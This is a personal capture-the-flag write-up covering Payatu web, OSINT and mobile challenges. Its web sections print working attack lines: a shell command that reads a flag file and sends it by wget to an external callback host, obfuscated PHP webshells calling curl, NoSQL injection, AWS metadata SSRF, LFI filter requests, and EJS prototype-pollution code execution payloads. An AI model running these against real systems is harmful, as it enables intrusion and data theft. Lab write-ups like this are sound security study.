Writeup
Author: redpwnda
Date: 28-Jun-2025
Discord verification flag:
PAYATU{d1sc0rd_v3r1f1ed_4nd_r34dy_t0_h4ck}
Web Issues
Secure Upload (Not solved)
Security Checks

- Basic
.png.phpbypass the extension check. - Do I really need to upload a PHP file. Or I can do another attack since, python-magic check is also there.
- https://skelmis.co.nz/posts/file-faking/ (Good article)
Based on the article I used a valid png file and added a bash command in it as shown below:
python3 PCRT.py -i ../redpwnda.png -o ../redpwnda-output.png -p "\necho '/app/flag/flag.txt'\n"
- Will upload the file now, lets see what kind of errors I will get.
- Ok uploaded this file with burp collaborator pingback too. Didn't worked.
python3 PCRT-3/PCRT.py -i redpwnda.png -o redpwnda-output.png -p '\nflag=`cat /app/flag/flag.txt|base64`; wget https://cs8quxtexrtsnsoghmn4hd96vx1opfd4.oastify.com/a?flag=$flag\n"'
Dirsearch results: got me /console page with 2kb size. (can't use it)
Current file upload gives this error.

Tried following methods and didn't worked
- PCRT-3 method shared in above article
- Adding PHP in comments. As shown in this article.
- REdoing pcrt method. While editing in burp repeater tab.
<?call_user_func(str_rot13('fhyy_rkp'), 'curl http://7jrllsk9omknenfb8hez8801mssjge43.oastify.com');?>This worked but no callback<?${'_'.'POST'}[0]('curl http://9isnkujbnojpdped7jd17az3lurlfe33.oastify.com');?>This also worked but no callback.<?curl$IFShttp://9isnkujbnojpdped7jd17az3lurlfe33.oastify.com?>This too worked, but no callback.- It seems PCRT method is wrong in some way. I should go back to comment method.
- Re-doing comment method. Using same payloads as above in comment. It passed too, but no call back.

- Even if I reduce the content to extreme degree and change the extension to php. It works. I have tested the payload locally also, it works.

Blind trust (Solved)
- After probing a bit found /secret page. Which confirmed it is nosql related issue.

- Use few sample payloads. Below payload worked. Then moved on to finding the password, as web application request original password.
{ "username": "admin", "password": { "$ne": null } }
- Using regex comparison found first char, then used intruder for second. Which is 3, immediately tried
s3cr3twhich worked.

- But password is even longer so continuing the test using intruder.
- With bit more testing password came out to be
s3cr3tPass - And the flag:
PAYATU{NoSQLi_Success}

Inside Job (Solved)
- Feels like AWS metadata. Lets see what it is.
- Source code also mentions s3 key and stuff.
- So other functionality is kinda useless. I need to work with generate pdf with URL.
- The default AWS url
http://169.254.169.254/seems to have been blocked. As I am receiving error likeFallback failed: Unable to fetch http://localhost:3000/latest - So Using basic hex encoding. Used online encoder for this
http://0xA9FEA9FE/latest - This works. Lets move on and fetch more details.

- Couldn't figure out what to do next.
- Ok, Used
file:///scheme to do local file reads. - Found a folder with name
/appin root section. The code was saved inapp.jsfile - Flag
PAYATU{169_254_on3_st3p_cl0s3r_to_@_b@ndit}

Travel Agency (Solved)
- Did a dirty dirsearch and found following results
[18:30:19] Scanning:
[18:30:32] 200 - 263B - /home.php
[18:30:32] 200 - 2KB - /index.php
[18:30:32] 200 - 2KB - /index.php/login/
[18:30:36] 403 - 280B - /server-status
[18:30:36] 403 - 280B - /server-status/
-
Lets check them out one by one. Ok LFI works here.

-
Lets see what we can do with this.
-
Below is the source code of the index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Bandit Tours & Travel Agency</title>
<!-- Bootstrap CSS -->
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<header class="my-4">
<h1>Welcome to Bandit Tours & Travel Agency</h1>
<p>Your one stop solution for booking one way flights, ground floor hotels, and domestic tours.</p>
</header>
<nav>
<ul class="nav nav-pills">
<li class="nav-item">
<a class="nav-link active" href="index.php?page=home.php">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php?page=flights.php">Book Flights</a>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php?page=hotels.php">Find Hotels</a>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php?page=tours.php">Explore Tours</a>
</li>
</ul>
</nav>
<hr>
<div class="content mt-4">
<?php
// Vulnerable include logic
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo "<p class='lead'>Welcome to TravelEasy! Please select an option from the menu.</p>";
}
?>
</div>
</div>
<!-- Bootstrap JS and Popper.js -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.11.6/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</body>
</html>
- Got this using this request
http://13.201.0.183:54674/index.php/index.php?page=php://filter/convert.base64-encode/resource=../../../var/www/html/index.php
-
Got a revshell doing weird gymnastic

-
With bit of more weird gymnastic found the flag.

-
Flag
PAYATU{BANDIT_1s_B4ND1T_RFI}
What I did?
- Found LFI
- Used that LFI to look for internal files, it was hard, very hard. So tried RFI for webshell
- Webshell didn't worked, so then tried Revshell.
- Needed to host my file as well as a listener.
- So Used ngrok for revshell and Pinggy for hosting my file. Updated the details of ngrok by pinging it with ping command.

Secure Storage Vault (Not Solved)
- Attempted all below attacks. Failed in all.
- SSTI and Prototype pollution on EJS 3.1.9
//payload while fetchin blog
is_admin%5Bview%20options%5D%5Bclient%5D=true&settings%5Bview%20options%5D%5BescapeFunction%5D=1;return%20global.process.mainModule.constructor._load('child_process').execSync('$encoded_command');"
//payload while fetching blog
__proto__[toString]%3d<%25%3d+global.process.mainModule.require('child_process').execSync('id').toString()+%25>%26blog_name%3danyblog%3fblog_name%3dabout-secure-storage-vault
//payload during registration
{
"username": "test2",
"password": "test",
"__proto__": { "is_admin": true }
}
// Tried registration overwrite and mass assignment.
// Deserialization attempts in cookie payload.
- SSTI felt the best pathway, but couldn't leverage it.
Seal the deal (Not Solved)
-
Found json keys with
kbase64 encoded secret keys.

-
Decoded those
- api-secret-v2 found to be
super-secret-api-key-2024 - hmac-legacy-2023 found to be
fake-hmac-secret-key - Lets use the first one.
- api-secret-v2 found to be
-
None Token Doesn't work

-
api-secret-v2 also doesn't work.
-
kid based attacks also doesn't work

-
Lets try algorithm confusion now.
OSINT (All Except Bonus)
Flight of the Lurk3r
- Just take md5 of the hash using
md5sumcommand and use it as flag PAYATU{088858b0048b014e450d40bade8cb89d}
The Lake below
- Do reverse google search.
- Found it in first response:

- Lake name is
Lago Maggiore - Lets try that as flag.
PAYATU{LagoMaggiore}well this is correct.
The Town at the Edge
- Town at the edge of the plane wing. Since I already have the original source image, I will do research there.
- Well the name is present in original source itself.
PAYATU{Lugano}
The Flight Code
https://velvetescape.com/plane-view-swiss-alps-lago-maggiore/
- On the wing it is written KLM with Crown type symbol.
- We know the flight is landing at Milan Airport, going over Switzerland's Lugano.
- The article mentions the flight route
Amsterdam to Milan Malpensaand its timing is said to be early morning - Tried two flight codes didn't work. one for flight at 6:30 and another around 8.25. Both failed.
PAYATU{KL1613}andPAYATU{AF8373}. - Lets check another direct flight at 10:20.
PAYATU{KL1597}This also failed. - Lets try on airfrance connecting flight.
PAYATU{AF1830} - One more connecting flight found, lets see what it holds
PAYATU{AF1330} - Since I found no direct flight in the early morning lets check out one afternoon flight from AMS to MXP.
PAYATU{KLM1621}Also triedPAYATU{KL1621}. - Nothing working, I have checked, KLM doesn't go for any direct flight to Malpensa. So lets move to LIN.
- Tried
PAYATU{KLM1615}. And it worked.
Tail code
- Wiki URL is provided to us.
- Checked the flight details. Found
E75LandE75Sboth not working. - On another website it was
PAYATY{B738}again didn't worked. OK spelling mistake, tried againPAYATU{B738} - Worked.
Cryptic Phantom
Well from the first question we already know who the author is. We just have to figure out what are the things associated with him. Maybe twitter handle name or others.
- Tried
PAYATU{Keith_Jenkins} PAYATU{KeithJenkins}PAYATU{velvetescape}PAYATU{iambassador}- Checked the image author using exiftool. Found the name.
lurk3r_in_p1ane

The Phantom Behind the Lens
Baaa, this thing is still going on.
- Lets check again 1 by 1.
PAYATU{keith_jenkins}- https://www.aperisolve.com on the image.
- First search gave the answer.

Mobile (All Except Gatekeeper)
Snorlex
- Basic root detection bypass, I did using magisk.
- Flag
PAYATU{SN0RL3X15BL0CKNGXYXUIQP13J4}
Gatekeeper
-
Install the app, try opening. Nothing available. Had to enter a secret code.

-
Lets check logcat with this. Not visible in logcat.
-
Lets go for jadx gui.
-
Very likely this has to do with
libnative-lib.sofile. Lets do a bit of rev engg of this file using ghidra or gdb. -
Too much time taken. Not solved
Pathfinder
- Reviewed Jadx gui.
- Reviewed App manifest file.
- Reviewed Mainactivity file.
- Reviewed strings.xml file for host value.
- Based on the data provided in challenge, I can say it has to do something with deep link and XSS.
- URL schema is observed in Activity as
ctf://payatu/web - Then Host URL to be found in strings as
payatu.com - And finally the function which will provide us the flag
showFlag() - So basically we have to invoke the intent, and put our payload with valid URL Scheme and host then just get out of the payload using double quote.
# Doing inside root shell of android.
am start -a android.intent.action.VIEW -d 'ctf://payatu/web?url=https://payatu.com%22);AndroidFunction.showFlag();//' com.ctf.pathfinder

- Flag
PAYATU{Th1s_i5_th3_w4y}
WhereamI
- Analysed the code using jadx gui and drozer.
- Found there is a broadcast listener
com.payatu.whereami.BroadCastListener - Went back to the jadx gui and searched what does this receiver do. It compares some value to open another activity. Which is base64 encoded and stored in strings with name
code.

- Now will run the broadcast receiver with
locvariable asMjolnir - Used chatgpt to make a frida script to run the
ImTheSecondactivity while, I start the broadcast from drozer. - drozer command
run app.activity.start --component com.payatu.whereami com.payatu.whereami.MainActivity

- Flag:
PAYATU{WAMI-G0d0F7HUND3RONHUNT}
AStrangeDoor
- Basic frida script hook on checkPasscode return true worked.

- Flag:
PAYATU{ASDS73V3NS7R@NG3POP}